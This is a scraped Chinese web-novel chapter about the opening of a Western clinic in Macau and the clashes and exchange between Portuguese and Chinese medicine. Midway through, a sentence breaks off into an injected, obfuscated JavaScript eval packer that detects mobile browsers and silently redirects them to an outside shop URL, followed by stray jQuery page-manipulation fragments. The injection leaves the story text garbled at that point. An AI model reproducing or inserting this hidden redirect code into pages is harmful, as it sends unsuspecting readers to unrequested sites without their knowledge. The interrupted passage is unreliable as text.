默认冷灰
24号文字
方正启体

第五十三章 澳门医馆的开张

作者:九连真人本书字数:K更新时间:
    澳门半岛东南隅,一栋中西合璧的建筑前**了好奇的人群。白墙青瓦的中式屋檐下,悬挂着拉丁文匾额“DomusMisericordiae”(仁慈堂)。


    这是远东第一所西式医馆的开张日,也是东西方医学的首次正面相遇。


    范礼安神父站在门前,努力用生硬的粤语宣布:“今日义诊,分文不取...”话音未落,人群突然骚动起来——几个水手抬着个血淋淋的伤者冲来。


    “让开!快让开!”为首的水手操着浓重的福建口音,“俺们大哥中了炮子!”


    伤者是个海盗,左胸嵌着块炮弹碎片,鲜血汩汩外冒。随行的中医郎中把脉后摇头:


    “伤及心脉,油尽灯枯,准备后事吧。”


    范礼安却上前查看:“还有救!抬进来!”


    医馆内,葡萄牙军医迪奥戈已准备好器械。看到伤情,他立即下令:“准备放血!取鸦喙钳!”


    围观的中国百姓见到西洋器械,顿时哗然。当迪奥戈拿出鸦喙钳——那种状如乌鸦长喙的金属器械时,有人惊叫:“番鬼要掏心肝!”


    更令人震惊的是放血疗法。迪奥戈在伤者手臂切开血管,暗红的血液流入铜盆,围观者纷纷后退,仿佛目睹邪术。


    “这是在**啊!”老郎中顿足。


    但奇迹发生了。放血后,伤者呼吸反而平稳了些。迪奥戈趁机用钳子取出弹片,撒上磺胺粉,然后进行缝合——针线穿过皮肉的场景又引起一阵惊呼。


    “缝衣服呢这是?”有人嘀咕。


    整个过程,林弘仲担任通译,不断解释:“这是在排毒...这是在清创...”额角渗出细汗。


    伤者终于稳定下来。迪奥戈写下药方:葡萄酒清洗,每日换药,禁食发物。


    海盗部下将信将疑地抬走伤者。围观众人议论纷纷,大多认为伤者活不过今晚。


    次日清晨,医馆门刚开,那群海盗又来了——但不是来**,而是抬着个箱子:


    “俺大哥醒了!能喝粥了!这些谢礼,务必收下!”


    箱子里不是金银,而是罕见的海货:玳瑁、珊瑚、龙涎香。范礼安本想拒绝,林弘仲急劝:“收下!这是信任的开始!”


    消息传开,医馆顿时门庭若市。但来的多是好奇观望者,真正求诊的寥寥无几。


    转机来自一个意外。香山县丞赵文华的老母久咳不愈,广州名医尽皆束手。有人怂恿:“不如试试番医?”


    赵文华本不屑,但孝心驱使,终于深夜密访。为避人耳目,还将老母装扮成仆妇。


    迪奥戈诊断后断言:“不是痨病,是气喘。”他不用中药,而是取出个铜制器具——最早的吸入器,让病人吸入薄荷蒸汽。


    更开出奇怪药方:每日散步,深呼吸,禁食油腻。与中医的“静养滋补”完全相反。


    赵文华将信将疑,但三日后老母竟能安睡。他大喜,暗中赠匾“妙手回春”,却不敢公开悬挂。


    真正突破在瘟疫期间。澳门爆发痢疾,中医称“时疫”,常规药石无效。患者上吐下泻,几日即脱水而死。


    迪奥戈提出惊人方案:隔离患者,煮沸饮水,还用石灰消毒街道——这些都被视为破坏风水的恶行。


    最遭反对的是用药:**酊止泻,盐水补水。中医认为“**耗元气,盐水伤脾胃”。


    疫情愈演愈烈。范礼安无奈,先在葡萄牙人中实施防疫,结果死亡率大降。事实面前,部分中国百姓开始偷偷效仿。


    有个疍家女抱垂死幼儿来求医。迪奥戈用细管灌盐水,竟救回一命。母亲磕头谢恩,称西洋医生“菩萨再世”。


    但文化冲突仍在继续。有患者拒绝裸身检查,认为“身体发肤受之父母”;有人偷倒药水,因“西药性烈伤元”;甚至传言“番医用童制药”。


    最大的危机来自一例死亡病例。商人服西药后暴毙,家属抬尸**,指控“番医毒杀”。群情激愤,险些砸了医馆。


    关键时刻,赵文华暗中调停,林弘仲重金赔偿,才平息事端。范礼安却坚持解剖查明死因——这在中国文化中简直骇人听闻。


    最终折衷方案:请中医共同验尸,发现是本身有心疾,与西药无关。这场风波反而成了医学交流的契机。


    中医们惊讶地看到解剖展示的内脏结构,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566992|187011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    西医则学习中医的脉诊经验。双方在碰撞中开始有限度的交流。


    迪奥戈学会说“气虚”、“火旺”;中医郎中也开始使用“发炎”、“感染”等新词。甚至出现中西医结合疗法:西药急治,中药调理。


    医馆渐渐成为特殊的文化空间。这里能看到葡萄牙军医给中国渔民缝合伤口,也能看到中医给西洋水手针灸止痛;能闻到中草药香,也能闻到酒精消毒水味。


    最有趣的是一批特殊“学生”——几个中医郎中偷偷来学外科技术,几个葡萄牙人则记录中药方剂。双方通过林弘仲发明的“混合术语”交流:“这个...清热...消炎...”“这个antiseptic...解毒...”


    安东尼奥观察到这种变化,在日志中写道:


    “他们用不同的语言描述同一种痛苦,用不同的方法追求同一种健康。也许这就是文明的本质——殊途同归。”


    范礼安则看到更深层意义:


    “医疗打开了传教的大门。当他们接受我们的医术,就可能接受我们的信仰。”


    但现实更复杂。很多患者“信医不信教”,甚至有人拜完妈祖来看病。传教士们不得不接受这种实用主义的信仰。


    年底统计时,医馆收治患者超千人,死亡率远低于传统疗法。最重要的是,它成为澳门最受接纳的两方机构——无论中国人还是葡萄牙人,都需要健康。


    医馆的灯火,常亮到深夜。在这里,痛苦没有国籍之分,生命没有华夷之辨。两种医学体系仍在碰撞,但已开始寻找共通的语言。


    没有人知道,这种医疗交流将拯救无数生命;不知道西医知识将通过这里传入中国;更不知道,几十年后康熙皇帝将因信任西洋医术而允许传教士留在北京。


    此刻的医馆里,迪奥戈正和一个老郎中比划着交流。一个拿着人体解剖图,一个拿着经络图,两种医学在手势和微笑中悄然接近。


    海风吹来,带着药香与希望。在这片小小的半岛上,治病救人的共同愿望,正在架起一座超越文化的桥梁。而这座桥,将通向比任何人想象的都更远的未来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)